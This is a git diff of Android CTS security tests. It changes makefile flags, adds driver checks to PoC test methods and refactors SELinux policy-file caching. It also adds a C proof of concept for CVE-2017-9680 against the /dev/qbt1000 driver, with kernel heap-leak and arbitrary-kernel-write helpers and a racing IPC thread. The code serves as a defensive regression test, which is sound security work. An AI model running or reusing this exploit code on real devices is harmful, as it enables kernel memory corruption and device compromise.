-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+LOCAL_CFLAGS += -Wno-unused-variable
+LOCAL_CFLAGS += -Iinclude -fPIE
 LOCAL_LDFLAGS += -fPIE -pie
 LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0705/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0705/Android.mk
index bbde6e2..b8c8978 100644
--- a/hostsidetests/security/securityPatch/CVE-2017-0705/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2017-0705/Android.mk
@@ -27,10 +27,11 @@
 LOCAL_CTS_TEST_PACKAGE := android.security.cts

 

 LOCAL_ARM_MODE := arm

-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement

-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef

-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes

-CFLAGS += -Iinclude -fPIE

+LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement

+LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef

+LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes

+LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable

+LOCAL_CFLAGS += -Iinclude -fPIE

 LOCAL_LDFLAGS += -fPIE -pie

 LDFLAGS += -rdynamic

 include $(BUILD_CTS_EXECUTABLE)

diff --git a/hostsidetests/security/securityPatch/CVE-2017-0705/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0705/poc.c
index 8d48434..4b8a446 100644
--- a/hostsidetests/security/securityPatch/CVE-2017-0705/poc.c
+++ b/hostsidetests/security/securityPatch/CVE-2017-0705/poc.c
@@ -188,7 +188,7 @@
 
 
 #define ETHER_ADDR_LEN 6
-struct  __attribute__ ((packed)) _ether_addr {
+struct  _ether_addr {
     uint8_t octet[ETHER_ADDR_LEN];
 };
 
diff --git a/hostsidetests/security/securityPatch/CVE-2017-7369/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-7369/Android.mk
index 9d1d3d17..7f01a2f 100644
--- a/hostsidetests/security/securityPatch/CVE-2017-7369/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2017-7369/Android.mk
@@ -26,10 +26,12 @@
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+LOCAL_CFLAGS += -Wno-incompatible-pointer-types-discards-qualifiers
+LOCAL_CFLAGS += -Wno-missing-prototypes -Wno-unused-variable
+LOCAL_CFLAGS += -Iinclude -fPIE
 LOCAL_LDFLAGS += -fPIE -pie
 LDFLAGS += -rdynamic
 
diff --git a/hostsidetests/security/securityPatch/CVE-2017-8263/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-8263/Android.mk
index 0d1d60b..ce8d50b 100644
--- a/hostsidetests/security/securityPatch/CVE-2017-8263/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2017-8263/Android.mk
@@ -26,10 +26,11 @@
 LOCAL_CTS_TEST_PACKAGE := android.security.cts

 

 LOCAL_ARM_MODE := arm

-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement

-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef

-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes

-CFLAGS += -Iinclude -fPIE

+LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement

+LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef

+LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes

+LOCAL_CFLAGS += -Wno-visibility

+LOCAL_CFLAGS += -Iinclude -fPIE

 LOCAL_LDFLAGS += -fPIE -pie

 LDFLAGS += -rdynamic

 include $(BUILD_CTS_EXECUTABLE)

diff --git a/hostsidetests/security/securityPatch/CVE-2017-8263/poc.c b/hostsidetests/security/securityPatch/CVE-2017-8263/poc.c
index 687bbc5..558544d 100644
--- a/hostsidetests/security/securityPatch/CVE-2017-8263/poc.c
+++ b/hostsidetests/security/securityPatch/CVE-2017-8263/poc.c
@@ -39,7 +39,7 @@
 
     mmap_ret = (uint64_t) mmap((void *) 0x7f0000000 /*addr*/, 0x1000 /*length*/, 0x0 /*prot*/,
             0x12 /*flags=MAP_FIXED|MAP_PRIVATE*/, fd, 0x0 /*offset*/);
-    if (mmap_ret == MAP_FAILED) {
+    if (mmap_ret == (uint64_t) MAP_FAILED) {
         return -1;
     }
 
diff --git a/hostsidetests/security/securityPatch/CVE-2017-9678/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-9678/Android.mk
index 0a5b344..de48c29 100644
--- a/hostsidetests/security/securityPatch/CVE-2017-9678/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2017-9678/Android.mk
@@ -26,10 +26,10 @@
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+LOCAL_CFLAGS += -Iinclude -fPIE
 LOCAL_LDFLAGS += -fPIE -pie
 LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-9680/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-9680/Android.mk
new file mode 100644
index 0000000..7b7e2d0
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-9680/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2017 The Android Open Source Project

+#

+# Licensed under the Apache License, Version 2.0 (the "License");

+# you may not use this file except in compliance with the License.

+# You may obtain a copy of the License at

+#

+#      http://www.apache.org/licenses/LICENSE-2.0

+#

+# Unless required by applicable law or agreed to in writing, software

+# distributed under the License is distributed on an "AS IS" BASIS,

+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

+# See the License for the specific language governing permissions and

+# limitations under the License.

+

+LOCAL_PATH := $(call my-dir)

+

+include $(CLEAR_VARS)

+LOCAL_MODULE := CVE-2017-9680

+LOCAL_SRC_FILES := poc.c

+LOCAL_MULTILIB := both

+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32

+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64

+

+# Tag this module as a cts test artifact

+LOCAL_COMPATIBILITY_SUITE := cts

+LOCAL_CTS_TEST_PACKAGE := android.security.cts

+

+LOCAL_ARM_MODE := arm

+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement

+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef

+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes

+CFLAGS += -Iinclude -fPIE

+LOCAL_LDFLAGS += -fPIE -pie

+LDFLAGS += -rdynamic

+include $(BUILD_CTS_EXECUTABLE)

diff --git a/hostsidetests/security/securityPatch/CVE-2017-9680/poc.c b/hostsidetests/security/securityPatch/CVE-2017-9680/poc.c
new file mode 100644
index 0000000..3d2835a
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-9680/poc.c
@@ -0,0 +1,267 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <errno.h>
+#include <fcntl.h>
+#include <pthread.h>
+#include <stdbool.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/ioctl.h>
+#include <sys/socket.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <sys/types.h>
+#include <unistd.h>
+
+static const char *dev = "/dev/qbt1000";
+
+#define QBT1000_SNS_SERVICE_ID 0x138
+#define QBT1000_SNS_SERVICE_VER_ID 1
+#define QBT1000_SNS_INSTANCE_INST_ID 0
+
+#define SNS_QFP_OPEN_RESP_V01 0x0020
+
+#define QMI_REQUEST_CONTROL_FLAG 0x00
+#define QMI_RESPONSE_CONTROL_FLAG 0x02
+#define QMI_INDICATION_CONTROL_FLAG 0x04
+#define QMI_HEADER_SIZE 7
+
+#define OPTIONAL_TLV_TYPE_START 0x10
+
+enum elem_type {
+  QMI_OPT_FLAG = 1,
+  QMI_DATA_LEN,
+  QMI_UNSIGNED_1_BYTE,
+  QMI_UNSIGNED_2_BYTE,
+  QMI_UNSIGNED_4_BYTE,
+  QMI_UNSIGNED_8_BYTE,
+  QMI_SIGNED_2_BYTE_ENUM,
+  QMI_SIGNED_4_BYTE_ENUM,
+  QMI_STRUCT,
+  QMI_STRING,
+  QMI_EOTI,
+};
+
+volatile int cont = 1;
+
+struct qmi_header {
+  unsigned char cntl_flag;
+  uint16_t txn_id;
+  uint16_t msg_id;
+  uint16_t msg_len;
+} __attribute__((__packed__));
+
+struct qseecom_handle {
+  void *dev;
+  unsigned char *sbuf;
+  uint32_t sbuf_len;
+};
+
+enum qbt1000_commands {
+  QBT1000_LOAD_APP = 100,
+  QBT1000_UNLOAD_APP = 101,
+  QBT1000_SEND_TZCMD = 102
+};
+
+struct qbt1000_app {
+  struct qseecom_handle **app_handle;
+  char name[32];
+  uint32_t size;
+  uint8_t high_band_width;
+};
+
+struct qbt1000_send_tz_cmd {
+  struct qseecom_handle *app_handle;
+  uint8_t *req_buf;
+  uint32_t req_buf_len;
+  uint8_t *rsp_buf;
+  uint32_t rsp_buf_len;
+};
+
+struct msm_ipc_port_addr {
+  uint32_t node_id;
+  uint32_t port_id;
+};
+
+struct msm_ipc_port_name {
+  uint32_t service;
+  uint32_t instance;
+};
+
+struct msm_ipc_addr {
+  unsigned char addrtype;
+  union {
+    struct msm_ipc_port_addr port_addr;
+    struct msm_ipc_port_name port_name;
+  } addr;
+};
+
+#define AF_MSM_IPC 27
+
+#define PF_MSM_IPCAF_MSM_IPC
+
+#define MSM_IPC_ADDR_NAME 1
+#define MSM_IPC_ADDR_ID 2
+
+struct sockaddr_msm_ipc {
+  unsigned short family;
+  struct msm_ipc_addr address;
+  unsigned char reserved;
+};
+
+struct qbt1000_app app = {0};
+
+static int get_fd(const char *dev_node) {
+  int fd;
+  fd = open(dev_node, O_RDWR);
+  if (fd < 0) {
+    cont = 0;
+    exit(EXIT_FAILURE);
+  }
+
+  return fd;
+}
+
+static void leak_heap_ptr(int fd) {
+  void *addr = NULL;
+  app.app_handle = (void *)&addr;
+  app.size = 32;
+  ioctl(fd, QBT1000_LOAD_APP, &app);
+}
+
+static void arb_kernel_write_load_app(int fd) {
+  struct qbt1000_app app = {0};
+
+  app.app_handle = (void *)0xABADACCE55013337;
+  ioctl(fd, QBT1000_LOAD_APP, &app);
+}
+
+static void arb_kernel_write_send_tzcmd(int fd) {
+  struct qseecom_handle hdl = {0};
+  struct qbt1000_send_tz_cmd cmd = {0};
+  int x = 0;
+
+  hdl.sbuf = (void *)0xffffffc0017b1b84;
+  cmd.app_handle = &hdl;
+  cmd.req_buf = &x;
+  cmd.rsp_buf = NULL;
+  cmd.req_buf_len = cmd.rsp_buf_len = 4;
+
+  ioctl(fd, QBT1000_SEND_TZCMD, &cmd);
+}
+
+static void print_msg(char *msg) {
+  int i;
+  for (i = 0; i < 4096; i++) printf("%hx ", msg[i]);
+  printf("\n");
+}
+
+static void recv_msgs(int fd) {
+  struct msghdr msg = {0};
+  struct iovec io = {0};
+  struct sockaddr_msm_ipc addr = {0};
+  struct msm_ipc_addr address = {0};
+  uint8_t *ptr;
+  struct qmi_header *hdr;
+  int count = 1;
+
+  io.iov_base = malloc(4096);
+  memset(io.iov_base, 0, 4096);
+  io.iov_len = 4096;
+
+  msg.msg_iovlen = 1;
+  msg.msg_iov = &io;
+  msg.msg_name = &addr;
+  msg.msg_namelen = sizeof(addr);
+
+  while (cont) {
+    recvmsg(fd, &msg, MSG_CMSG_CLOEXEC);
+    memset(io.iov_base, 0, 128);
+    hdr = io.iov_base;
+
+    hdr->cntl_flag = QMI_RESPONSE_CONTROL_FLAG;
+    hdr->txn_id = count++;
+    hdr->msg_id = SNS_QFP_OPEN_RESP_V01;
+    hdr->msg_len = 3;
+
+    ptr = io.iov_base + sizeof(*hdr);
+
+    *ptr = OPTIONAL_TLV_TYPE_START;
+    ptr++;
+    *ptr = 0;
+    ptr++;
+    *ptr = 0;
+    sendmsg(fd, &msg, MSG_CMSG_CLOEXEC);
+  }
+}
+
+#define BUILD_INSTANCE_ID(vers, ins) (((vers)&0xFF) | (((ins)&0xFF) << 8))
+static void setup_ipc_server(void) {
+  int fd;
+  struct sockaddr_msm_ipc addr = {0};
+  fd = socket(AF_MSM_IPC, SOCK_DGRAM, 0);
+
+  if (fd < 0) {
+    printf("Couldn't open socket %s\n", strerror(errno));
+    exit(EXIT_FAILURE);
+  }
+
+  addr.family = AF_MSM_IPC;
+  addr.address.addrtype = MSM_IPC_ADDR_NAME;
+  addr.address.addr.port_name.service = QBT1000_SNS_SERVICE_ID;
+  addr.address.addr.port_name.instance = BUILD_INSTANCE_ID(
+      QBT1000_SNS_SERVICE_VER_ID, QBT1000_SNS_INSTANCE_INST_ID);
+
+  bind(fd, (struct sockaddr *)&addr, sizeof(addr));
+  recv_msgs(fd);
+}
+
+static void *leak_ptr(void *ignore) {
+  void *save;
+  while (cont) {
+    if (app.app_handle != NULL) {
+      save = *app.app_handle;
+      if (save != NULL) {
+        break;
+      }
+    }
+  }
+  return (void *)NULL;
+}
+
+static void *do_ipc_crap(void *ignore) {
+  setup_ipc_server();
+  return (void *)NULL;
+}
+
+int main(void) {
+  int fd;
+
+  pthread_t race_car;
+  pthread_t race_car1;
+  pthread_create(&race_car, NULL, do_ipc_crap, NULL);
+  usleep(50000);
+
+  fd = get_fd(dev);
+
+  for (;;) {
+    int err = ioctl(fd, 0, (unsigned long)-4095);
+
+    usleep(5000);
+  }
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-9692/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-9692/Android.mk
index fa5539b..dfb83c8 100644
--- a/hostsidetests/security/securityPatch/CVE-2017-9692/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2017-9692/Android.mk
@@ -26,10 +26,10 @@
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+LOCAL_CFLAGS += -Iinclude -fPIE
 LOCAL_LDFLAGS += -fPIE -pie
 LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_04.java b/hostsidetests/security/src/android/security/cts/Poc17_04.java
index e89a45a..735b0f8 100644
--- a/hostsidetests/security/src/android/security/cts/Poc17_04.java
+++ b/hostsidetests/security/src/android/security/cts/Poc17_04.java
@@ -25,7 +25,7 @@
      */
     @SecurityTest
     public void testPocCVE_2017_0576() throws Exception {
-	enableAdbRoot(getDevice());
+        enableAdbRoot(getDevice());
         if(containsDriver(getDevice(), "/dev/qce")) {
             AdbUtils.runPoc("CVE-2017-0576", getDevice(), 60);
         }
@@ -36,7 +36,7 @@
      */
     @SecurityTest
     public void testPocCVE_2017_0580() throws Exception {
-	enableAdbRoot(getDevice());
+        enableAdbRoot(getDevice());
         if(containsDriver(getDevice(), "/dev/touch_fwu")) {
             AdbUtils.runPoc("CVE-2017-0580", getDevice(), 60);
         }
@@ -47,10 +47,10 @@
      */
     @SecurityTest
     public void testPocCVE_2017_0462() throws Exception {
-	enableAdbRoot(getDevice());
+        enableAdbRoot(getDevice());
         if(containsDriver(getDevice(), "/dev/seemplog")) {
             AdbUtils.runPoc("CVE-2017-0462", getDevice(), 60);
-	}
+       }
     }
 
     /**
@@ -69,7 +69,7 @@
      */
     @SecurityTest
     public void testPocCVE_2016_10231() throws Exception {
-	enableAdbRoot(getDevice());
+        enableAdbRoot(getDevice());
         if(containsDriver(getDevice(), "/dev/snd/controlC0")) {
             AdbUtils.runPoc("CVE-2016-10231", getDevice(), 60);
         }
@@ -80,7 +80,7 @@
      */
     @SecurityTest
     public void testPocCVE_2017_0564() throws Exception {
-	enableAdbRoot(getDevice());
+        enableAdbRoot(getDevice());
         if(containsDriver(getDevice(), "/dev/ion")) {
             AdbUtils.runPocNoOutput("CVE-2017-0564", getDevice(), 60);
         }
@@ -91,9 +91,26 @@
      */
     @SecurityTest
     public void testPocCVE_2017_0586() throws Exception {
-	enableAdbRoot(getDevice());
+        enableAdbRoot(getDevice());
         if(containsDriver(getDevice(), "/dev/snd/controlC0")) {
-	    AdbUtils.runPoc("CVE-2017-0586", getDevice(), 60);
-	}
+            AdbUtils.runPoc("CVE-2017-0586", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/32551280
+     */
+    @SecurityTest
+    public void testPocBug_32551280() throws Exception {
+        enableAdbRoot(getDevice());
+        if(containsDriver(getDevice(), "/sys/kernel/debug/msm_subsys/adsp")) {
+            String pocOut = AdbUtils.runPoc("Bug-32551280", getDevice(), 60);
+            //Regex to match: 64 bit memory address with leading 1's
+            //                64 bit memory address with leading 0's
+            //                32 bit memory addresses
+            assertNotMatches("[\\s\\n\\S]*get 64 bits kernel stack information: " +
+                             "(0xffff[a-fA-F8-9]|0x0000[0-7]|0x)[a-fA-F0-9]{8,11}" +
+                             "[\\s\\n\\S]*", pocOut);
+        }
     }
 }
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_06.java b/hostsidetests/security/src/android/security/cts/Poc17_06.java
index b78d5a8..8f258d5 100644
--- a/hostsidetests/security/src/android/security/cts/Poc17_06.java
+++ b/hostsidetests/security/src/android/security/cts/Poc17_06.java
@@ -71,7 +71,9 @@
     @SecurityTest
     public void testPocBug_35047780() throws Exception {
         enableAdbRoot(getDevice());
-        AdbUtils.runPoc("Bug-35047780", getDevice(), 60);
+        if(containsDriver(getDevice(), "/dev/ipa")) {
+          AdbUtils.runPoc("Bug-35047780", getDevice(), 60);
+        }
     }
 
     /**
@@ -80,7 +82,9 @@
     @SecurityTest
     public void testPocBug_35048450() throws Exception {
         enableAdbRoot(getDevice());
-        AdbUtils.runPoc("Bug-35048450", getDevice(), 60);
+        if(containsDriver(getDevice(), "/dev/ipa")) {
+          AdbUtils.runPoc("Bug-35048450", getDevice(), 60);
+        }
     }
 
     /**
@@ -89,7 +93,9 @@
     @SecurityTest
     public void testPocBug_35047217() throws Exception {
         enableAdbRoot(getDevice());
-        AdbUtils.runPoc("Bug-35047217", getDevice(), 60);
+        if(containsDriver(getDevice(), "/dev/ipa")) {
+          AdbUtils.runPoc("Bug-35047217", getDevice(), 60);
+        }
     }
 
     /**
@@ -104,4 +110,14 @@
         }
     }
 
+    /**
+     * b/35216793
+     */
+    @SecurityTest
+    public void testPocBug_35216793() throws Exception {
+        enableAdbRoot(getDevice());
+        if(containsDriver(getDevice(), "/dev/v4l-subdev*")) {
+          AdbUtils.runPocNoOutput("Bug-35216793", getDevice(), 60);
+        }
+    }
 }
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_08.java b/hostsidetests/security/src/android/security/cts/Poc17_08.java
index 7c092e2..61edc9c 100644
--- a/hostsidetests/security/src/android/security/cts/Poc17_08.java
+++ b/hostsidetests/security/src/android/security/cts/Poc17_08.java
@@ -89,4 +89,15 @@
                              "{16}[\\s\\n\\S]*", pocOut);
         }
     }
+
+    /**
+     *  b/35764241
+     */
+    @SecurityTest
+    public void testPocCVE_2017_9680() throws Exception {
+        enableAdbRoot(getDevice());
+        if(containsDriver(getDevice(), "/dev/qbt1000")) {
+            AdbUtils.runPocNoOutput("CVE-2017-9680", getDevice(), 120);
+        }
+    }
 }
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_09.java b/hostsidetests/security/src/android/security/cts/Poc17_09.java
index 051c589..fbda89c 100644
--- a/hostsidetests/security/src/android/security/cts/Poc17_09.java
+++ b/hostsidetests/security/src/android/security/cts/Poc17_09.java
@@ -42,4 +42,15 @@
           AdbUtils.runPocNoOutput("Bug-35676417", getDevice(), 60);
         }
     }
+
+    /**
+     *  b/35644812
+     */
+    @SecurityTest
+    public void testPocBug_35644812() throws Exception {
+        enableAdbRoot(getDevice());
+        if (containsDriver(getDevice(), "/dev/sg0")) {
+          AdbUtils.runPocNoOutput("Bug-35644812", getDevice(), 60);
+        }
+    }
 }
diff --git a/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java b/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java
index cff9ef9..d05c17f 100644
--- a/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java
+++ b/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java
@@ -46,6 +46,7 @@
 import java.util.HashMap;
 import java.util.HashSet;
 import java.util.List;
+import java.util.Map;
 import java.util.regex.Matcher;
 import java.util.regex.Pattern;
 import java.util.Scanner;
@@ -60,6 +61,10 @@
  */
 public class SELinuxHostTest extends DeviceTestCase implements IBuildReceiver, IDeviceTest {
 
+    private static final Map<ITestDevice, File> cachedDevicePolicyFiles = new HashMap<>(1);
+    private static final Map<ITestDevice, File> cachedDevicePlatFcFiles = new HashMap<>(1);
+    private static final Map<ITestDevice, File> cachedDeviceNonplatFcFiles = new HashMap<>(1);
+
     private File sepolicyAnalyze;
     private File checkSeapp;
     private File checkFc;
@@ -75,6 +80,9 @@
     private File devicePcFile;
     private File deviceSvcFile;
     private File seappNeverAllowFile;
+    private File libsepolwrap;
+    private File libcpp;
+    private File sepolicyTests;
 
     private IBuildInfo mBuild;
 
@@ -104,9 +112,11 @@
         InputStream is = this.getClass().getResourceAsStream(resName);
         File tempFile = File.createTempFile("SELinuxHostTest", ".tmp");
         FileOutputStream os = new FileOutputStream(tempFile);
-        int rByte = 0;
-        while ((rByte = is.read()) != -1) {
-            os.write(rByte);
+        byte[] buf = new byte[1024];
+        int len;
+
+        while ((len = is.read(buf)) != -1) {
+            os.write(buf, 0, len);
         }
         os.flush();
         os.close();
@@ -133,10 +143,52 @@
         sepolicyAnalyze = buildHelper.getTestFile("sepolicy-analyze");
         sepolicyAnalyze.setExecutable(true);
 
-        /* obtain sepolicy file from running device */
-        devicePolicyFile = File.createTempFile("sepolicy", ".tmp");
-        devicePolicyFile.deleteOnExit();
-        mDevice.pullFile("/sys/fs/selinux/policy", devicePolicyFile);
+        devicePolicyFile = getDevicePolicyFile(mDevice);
+        if (mDevice.doesFileExist("/system/etc/selinux/plat_file_contexts")) {
+            devicePlatFcFile = getDeviceFile(mDevice, cachedDevicePlatFcFiles,
+                    "/system/etc/selinux/plat_file_contexts", "plat_file_contexts");
+            deviceNonplatFcFile = getDeviceFile(mDevice, cachedDeviceNonplatFcFiles,
+                    "/vendor/etc/selinux/nonplat_file_contexts", "nonplat_file_contexts");
+        } else {
+            devicePlatFcFile = getDeviceFile(mDevice, cachedDevicePlatFcFiles,
+                    "/plat_file_contexts", "plat_file_contexts");
+            deviceNonplatFcFile = getDeviceFile(mDevice, cachedDeviceNonplatFcFiles,
+                    "/nonplat_file_contexts", "nonplat_file_contexts");
+        }
+    }
+
+    /*
+     * IMPLEMENTATION DETAILS: We cache some host-side policy files on per-device basis (in case
+     * CTS supports running against multiple devices at the same time). HashMap is used instead
+     * of WeakHashMap because in the grand scheme of things, keeping ITestDevice and
+     * corresponding File objects from being garbage-collected is not a big deal in CTS. If this
+     * becomes a big deal, this can be switched to WeakHashMap.
+     */
+    private static File getDeviceFile(ITestDevice device,
+            Map<ITestDevice, File> cache, String deviceFilePath,
+            String tmpFileName) throws Exception {
+        File file;
+        synchronized (cache) {
+            file = cache.get(device);
+        }
+        if (file != null) {
+            return file;
+        }
+        file = File.createTempFile(tmpFileName, ".tmp");
+        file.deleteOnExit();
+        device.pullFile(deviceFilePath, file);
+        synchronized (cache) {
+            cache.put(device, file);
+        }
+        return file;
+    }
+
+    // NOTE: cts/tools/selinux depends on this method. Rename/change with caution.
+    /**
+     * Returns the host-side file containing the SELinux policy of the device under test.
+     */
+    public static File getDevicePolicyFile(ITestDevice device) throws Exception {
+        return getDeviceFile(device, cachedDevicePolicyFiles, "/sys/fs/selinux/policy", "sepolicy");
     }
 
     /**
@@ -429,13 +481,6 @@
         checkFc = copyResourceToTempFile("/checkfc");
         checkFc.setExecutable(true);
 
-        /* obtain file_contexts file(s) from running device */
-        devicePlatFcFile = File.createTempFile("file_contexts", ".tmp");
-        devicePlatFcFile.deleteOnExit();
-        if (!mDevice.pullFile("/system/etc/selinux/plat_file_contexts", devicePlatFcFile)) {
-            mDevice.pullFile("/plat_file_contexts", devicePlatFcFile);
-        }
-
         /* retrieve the AOSP file_contexts file from jar */
         aospFcFile = copyResourceToTempFile("/plat_file_contexts");
 
@@ -513,24 +558,16 @@
         checkFc = copyResourceToTempFile("/checkfc");
         checkFc.setExecutable(true);
 
-        /* obtain file_contexts file(s) from running device */
-        devicePlatFcFile = File.createTempFile("plat_file_contexts", ".tmp");
-        devicePlatFcFile.deleteOnExit();
-        deviceNonplatFcFile = File.createTempFile("nonplat_file_contexts", ".tmp");
-        deviceNonplatFcFile.deleteOnExit();
-        if (mDevice.pullFile("/system/etc/selinux/plat_file_contexts", devicePlatFcFile)) {
-            mDevice.pullFile("/vendor/etc/selinux/nonplat_file_contexts", deviceNonplatFcFile);
-        } else {
-            mDevice.pullFile("/plat_file_contexts", devicePlatFcFile);
-            mDevice.pullFile("/nonplat_file_contexts", deviceNonplatFcFile);
-        }
-        appendTo(devicePlatFcFile.getAbsolutePath(),
-                deviceNonplatFcFile.getAbsolutePath());
+        /* combine plat and nonplat policies for testing */
+        File combinedFcFile = File.createTempFile("combined_file_context", ".tmp");
+        combinedFcFile.deleteOnExit();
+        appendTo(combinedFcFile.getAbsolutePath(), devicePlatFcFile.getAbsolutePath());
+        appendTo(combinedFcFile.getAbsolutePath(), deviceNonplatFcFile.getAbsolutePath());
 
         /* run checkfc sepolicy file_contexts */
         ProcessBuilder pb = new ProcessBuilder(checkFc.getAbsolutePath(),
